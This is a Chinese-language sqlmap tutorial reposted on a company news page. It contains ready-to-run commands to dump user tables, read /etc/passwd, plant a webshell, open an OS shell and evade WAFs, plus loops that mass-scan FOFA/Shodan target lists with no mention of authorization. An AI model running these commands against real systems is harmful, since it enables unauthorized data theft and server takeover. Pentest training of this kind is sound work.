当前位置: 首页 > 新闻动态 > 软件编程

sqlmap 使用教程(从入门到进阶)

作者:用户投稿 浏览: 发布日期:2026-01-17
[导读]:sqlmap是一款强大的开源 SQL 注入自动化测试工具,支持识别并利用多种类型的 SQL 注入漏洞(Boolean-based、Time-based、Error-based、Stacked Queries 等),本文给大家介绍sqlmap使用教程,感兴趣的朋友一起看看吧
目录
  • 超详细 sqlmap 使用教程(从入门到进阶)
    • 一、安装 sqlmap
      • 方式一:源码安装(推荐)
      • 方式二:APT 安装(适用于 Kali、Debian)
    • 二、基本命令语法
      • 三、典型实战用法大全(按功能分类)
        • 1、基础测试注入点
        • 2、数据库识别与信息收集
        • 3、绕过过滤和防护机制
        • 4、特殊注入场景支持
        • 5、文件系统操作(高危)
        • 6、系统命令执行(高权限下)
        • 7、登录口爆破测试(少见用法)
        • 8、会话保存 / 自动继续扫描
        • 9、指定数据库引擎、注入技术
      • 四、辅助技巧与实用建议
        • 五、实战案例总结
          • 六、总结建议
            • 1. 自动化批量测试多个目标
              • 方法一:使用--batch+--crawl+ Bash 脚本
              • 方法二:配合目标资产平台输出(如 FOFA、Quake、Shodan)
            • 2. 常用组合参数模板(实战推荐)
              • 3. 常见 Tamper 绕过脚本说明
                • 4. 对抗防火墙与 WAF 策略
                  • 1、检测是否有 WAF
                • 5. SQL 注入技术选型建议
                  • 6. sqlmap session 保存与重用
                    • 7. 利用 sqlmap API 进行自动化任务管理
                      • 1、启动 API 服务端(默认端口 8775)
                      • 2、与之交互(Python 代码 / Postman / curl 调用)
                    • 8. 输出数据格式控制
                      • 9. sqlmap 配合渗透测试场景
                        • 10. 学习路径建议(由浅入深)
                          • 附:推荐资源
                            • ✅ 总结一句话:

                            超详细 sqlmap 使用教程(从入门到进阶)

                            sqlmap 是一款强大的开源 SQL 注入自动化测试工具,支持识别并利用多种类型的 SQL 注入漏洞(Boolean-based、Time-based、Error-based、Stacked Queries 等)。它不仅能识别注入,还能实现数据库指纹识别、表结构读取、数据导出、文件读写、提权、命令执行等。

                            一、安装 sqlmap

                            方式一:源码安装(推荐)

                            git clone https://gitcode.com/sqlmapproject/sqlmap.git //国内镜像
                            cd sqlmap
                            python3 sqlmap.py -h
                            

                            方式二:APT 安装(适用于 Kali、Debian)

                            sudo apt update
                            sudo apt install sqlmap
                            sqlmap -h
                            

                            二、基本命令语法

                            sqlmap -u "http://target.com/vuln.php?id=1" [options]
                            
                            • -u:目标 URL,支持 GET 和 POST 参数
                            • --data:提交 POST 参数
                            • --cookie:提交 Cookie 头
                            • -p:指定注入点参数
                            • --batch:自动确认(用于脚本执行时非交互)
                            • --random-agent:伪造浏览器 UA

                            三、典型实战用法大全(按功能分类)

                            1、基础测试注入点

                            1、自动探测 GET 参数是否存在注入
                            sqlmap -u "http://site.com/page.php?id=1"
                            
                            2、测试 POST 请求参数
                            sqlmap -u "http://site.com/login.php" --data="username=admin&password=123"
                            
                            3、带 Cookie 测试(如登录后才可注入)
                            sqlmap -u "http://site.com/protected?id=5" --cookie="PHPSESSID=xxxxxx"
                            
                            4、指定注入参数(默认会测试所有)
                            sqlmap -u "http://site.com/page.php?id=1&sort=desc" -p id
                            
                            5、静态请求文件(如 Burp 抓包导出的 .txt)
                            sqlmap -r request.txt
                            

                            2、数据库识别与信息收集

                            1、获取数据库类型和版本
                            sqlmap -u "http://target.com/?id=1" --banner
                            
                            2、获取当前数据库名
                            sqlmap -u "http://target.com/?id=1" --current-db
                            
                            3、获取当前用户、权限
                            sqlmap -u "http://target.com/?id=1" --current-user --is-dba
                            
                            4、获取所有数据库名
                            sqlmap -u "http://target.com/?id=1" --dbs
                            
                            5、枚举数据库的表名
                            sqlmap -u "http://target.com/?id=1" -D testdb --tables
                            
                            6、枚举表内字段名
                            sqlmap -u "http://target.com/?id=1" -D testdb -T users --columns
                            
                            7、导出数据
                            sqlmap -u "http://target.com/?id=1" -D testdb -T users -C username,password --dump
                            

                            3、绕过过滤和防护机制

                            1、伪造 User-Agent / Referer
                            sqlmap -u "http://target.com/?id=1" --user-agent="Mozilla/5.0" --referer="https://google.com"
                            
                            2、自定义 HTTP 请求头
                            sqlmap -u "http://target.com" --headers="X-API-KEY: 12345\nClient-Version: 1.0"
                            
                            3、使用随机 UA 绕过 WAF
                            sqlmap -u "http://target.com/?id=1" --random-agent
                            
                            4、使用 tamper 脚本绕过 WAF(如 Cloudflare)
                            sqlmap -u "http://target.com/?id=1" --tamper=space2comment
                            

                            推荐组合使用多个:

                            --tamper=space2comment,charunicodeescape,between
                            

                            4、特殊注入场景支持

                            1、支持时间盲注(time-based blind)
                            sqlmap -u "http://target.com/page.php?id=1" --technique=T
                            
                            2、支持报错注入(error-based)
                            sqlmap -u "http://target.com/page.php?id=1" --technique=E
                            
                            3、使用堆叠查询
                            sqlmap -u "http://target.com/page.php?id=1" --stacked-query
                            

                            5、文件系统操作(高危)

                            1、读取远程服务器文件(如配置文件)
                            sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd"
                            
                            2、上传写入 webshell(需要写权限)
                            sqlmap -u "http://target.com/page.php?id=1" --file-write=./shell.jsp --file-dest="/var/www/html/shell.jsp"
                            

                            6、系统命令执行(高权限下)

                            1、执行系统命令(如 whoami、ipconfig)
                            sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami"
                            
                            2、启动交互式命令行(非常强大)
                            sqlmap -u "http://target.com/page.php?id=1" --os-shell
                            

                            注意:必须具备数据库用户执行系统命令的权限(如 xp_cmdshell, load_file, into outfile 等)

                            7、登录口爆破测试(少见用法)

                            如果某参数中存在注入点,sqlmap 可尝试暴力登录:

                            sqlmap -u "http://target.com/login.php" --data="user=admin&pass=123" -p user --passwords
                            

                            8、会话保存 / 自动继续扫描

                            1、保存扫描进度
                            sqlmap -u "http://target.com" --batch --flush-session
                            
                            2、继续之前未完成的任务
                            sqlmap -u "http://target.com" --resume
                            

                            9、指定数据库引擎、注入技术

                            --dbms=mysql           # 强制使用 MySQL
                            --technique=BEUSTQ     # 指定注入技术
                            

                            技术说明:

                            • B:布尔盲注
                            • E:报错注入
                            • U:联合查询
                            • S:堆叠语句
                            • T:时间盲注
                            • Q:inline 查询

                            四、辅助技巧与实用建议

                            场景推荐参数
                            多参数存在注入使用 --level=5 --risk=3
                            避免频繁交互--batch
                            WAF 检测或屏蔽--random-agent --tamper
                            响应慢 / 网站卡顿--timeout=10 --retries=3 --delay=1
                            避免爆炸性数据--fresh-queries --exclude-sysdbs

                            五、实战案例总结

                            例 1:自动识别 + 导出所有数据

                            sqlmap -u "http://example.com/vuln?id=1" --batch --dump-all
                            

                            例 2:POST 登录接口注入测试

                            sqlmap -u "http://site.com/login" --data="user=admin&pass=123" --batch
                            

                            例 3:使用 Burp 抓包测试

                            sqlmap -r burp_request.txt --batch
                            

                            例 4:读取数据库用户信息并执行 whoami

                            sqlmap -u "http://target.com/?id=5" --current-user --os-cmd="whoami"
                            

                            六、总结建议

                            建议理由
                            使用 --batch 做自动测试减少交互操作,提高效率
                            指定 -p 参数避免浪费时间在无关参数
                            学会使用 -r 静态请求文件更适合测试复杂 POST、Cookie 请求
                            配合 Burp + sqlmap 使用手动确认参数后自动化测试更高效
                            测试环境先用 --risk=1 --level=1线上目标避免影响服务
                            禁用系统功能或告警--os-shell 等需谨慎使用

                            七、sqlmap 高级技巧 & 实战应用拓展

                            1. 自动化批量测试多个目标

                            如果你有一个大量 URL 的列表,比如从 Google/Burp/爬虫中导出的可疑链接:

                            方法一:使用--batch+--crawl+ Bash 脚本

                            cat urls.txt | while read url; do
                              sqlmap -u "$url" --batch --crawl=2 --threads=5
                            done
                            

                            方法二:配合目标资产平台输出(如 FOFA、Quake、Shodan)

                            结合搜索引擎导出资产后:

                            for u in $(cat fofa_urls.txt); do
                              sqlmap -u "$u?search=1" --random-agent --batch --level=3 --risk=2
                            done
                            

                            2. 常用组合参数模板(实战推荐)

                            场景推荐组合参数
                            公开测试平台 / 漏扫--random-agent --batch --threads=5
                            内网实战探测(不打扰目标)--level=1 --risk=1 --technique=B --time-sec=5 --delay=1
                            目标用 POST 登录--data="user=admin&pass=123"
                            Cookie 有效期短--cookie="JSESSIONID=xxxxxx"
                            遇到 CDN 防护--tamper=between,space2comment
                            目标只允许 HEAD 请求--method=HEAD
                            深入盲注场景--technique=T --time-sec=10

                            3. 常见 Tamper 绕过脚本说明

                            sqlmap 支持用 --tamper 参数指定脚本,在发送请求前修改 Payload(用于绕过 WAF):

                            脚本名功能说明
                            space2comment.py将空格替换为 /**/ 注释
                            between.py使用 BETWEEN 替代等号
                            charunicodeescape.py字符转为 unicode 编码
                            equaltolike.py= 替换为 LIKE
                            randomcase.py字母大小写混淆
                            unionalltounion.pyUNION ALL SELECT 改成 UNION SELECT
                            percentage.py使用 % 编码关键字

                            组合使用示例

                            sqlmap -u "http://target.com/?id=1" --tamper=space2comment,between,randomcase --random-agent --batch
                            

                            4. 对抗防火墙与 WAF 策略

                            1、检测是否有 WAF

                            sqlmap -u "http://target.com/?id=1" --identify-waf
                            

                            如果提示类似:

                            [!] WAF/IDS/IPS identified: Cloudflare
                            

                            就说明目标使用了防御系统,应切换到:

                            • 慢速测试:--delay=1 --timeout=10
                            • 编码绕过:--tamper
                            • 限制技术:--technique=B

                            5. SQL 注入技术选型建议

                            技术代码类型特点说明
                            BBoolean Blind最隐蔽,但慢
                            TTime-based Blind非回显场景常用
                            EError-based快速,依赖数据库错误信息
                            UUnion Query最快,依赖回显
                            SStacked Queries可写文件/执行命令
                            QInline Query针对特定场景如 PostgreSQL
                            bash复制编辑--technique=BEUSTQ     # 开启所有类型
                            --technique=BEU        # 只测回显类
                            --technique=T          # 强制盲注
                            
                            

                            6. sqlmap session 保存与重用

                            sqlmap 会默认保存扫描历史到 .sqlmap/output/host/,也支持:

                            • --flush-session:清除上次扫描缓存
                            • --resume:恢复未完成任务
                            • --output-dir=custom/:自定义输出路径

                            7. 利用 sqlmap API 进行自动化任务管理

                            1、启动 API 服务端(默认端口 8775)

                            python3 sqlmapapi.py -s
                            

                            2、与之交互(Python 代码 / Postman / curl 调用)

                            POST /task/new
                            POST /scan/start
                            GET  /scan/{id}/log
                            

                            可搭配 Web UI 或自动化渗透框架集成,例如:

                            • Awvs + sqlmap 联动
                            • 命令行批量漏洞验证器中调 sqlmap API

                            8. 输出数据格式控制

                            参数功能
                            --batch省略交互
                            --forms自动识别表单
                            --threads=10多线程加速
                            --output-dir=xxx指定输出目录
                            --crawl=2自动爬取内部页面 2 层
                            --fresh-queries不使用缓存
                            --parse-errors尝试解析错误信息
                            --save保存参数为 profile

                            9. sqlmap 配合渗透测试场景

                            渗透阶段sqlmap 使用点
                            信息收集自动识别数据库、DBA 用户、DB 类型
                            权限提升利用堆叠查询执行文件写入、提权脚本
                            持久化控制写入 Webshell,执行后门
                            lateral movement获取数据库中的 VPN 账号、内网 IP、后台密码等

                            10. 学习路径建议(由浅入深)

                            1. ✅ 掌握基本注入点扫描(--dbs --tables --dump
                            2. ✅ 理解 6 大注入技术(BEUSTQ)
                            3. ✅ 学会绕过 WAF(tamper 编写与选择)
                            4. ✅ 学会构造 request.txt / Cookie / Header 注入
                            5. ✅ 脚本化调用 sqlmap 自动打点
                            6. ✅ 分析源码、写 tamper、定制注入 payload

                            附:推荐资源

                            类型链接
                            官网https://sqlmap.org
                            GitHubhttps://gitcode.com/sqlmapproject/sqlmap
                            API 文档https://gitcode.com/sqlmapproject/sqlmap/wiki/Usage
                            Tamper 脚本文档https://gitcode.com/sqlmapproject/sqlmap/tree/master/tamper
                            sqlmap API 工具封装sqlmapapi-client

                            ✅ 总结一句话:

                            sqlmap 不只是一个扫描工具,它是一台自动化的数据库信息提取武器库,只要你掌握参数,就能完成注入探测、提权、文件操作等一整套攻击链。

                            免责声明:转载请注明出处:http://m.jing-feng.com.cn/news/613963.html

                            扫一扫高效沟通

                            多一份参考总有益处

                            免费领取网站策划SEO优化策划方案

                            请填写下方表单,我们会尽快与您联系
                            感谢您的咨询,我们会尽快给您回复!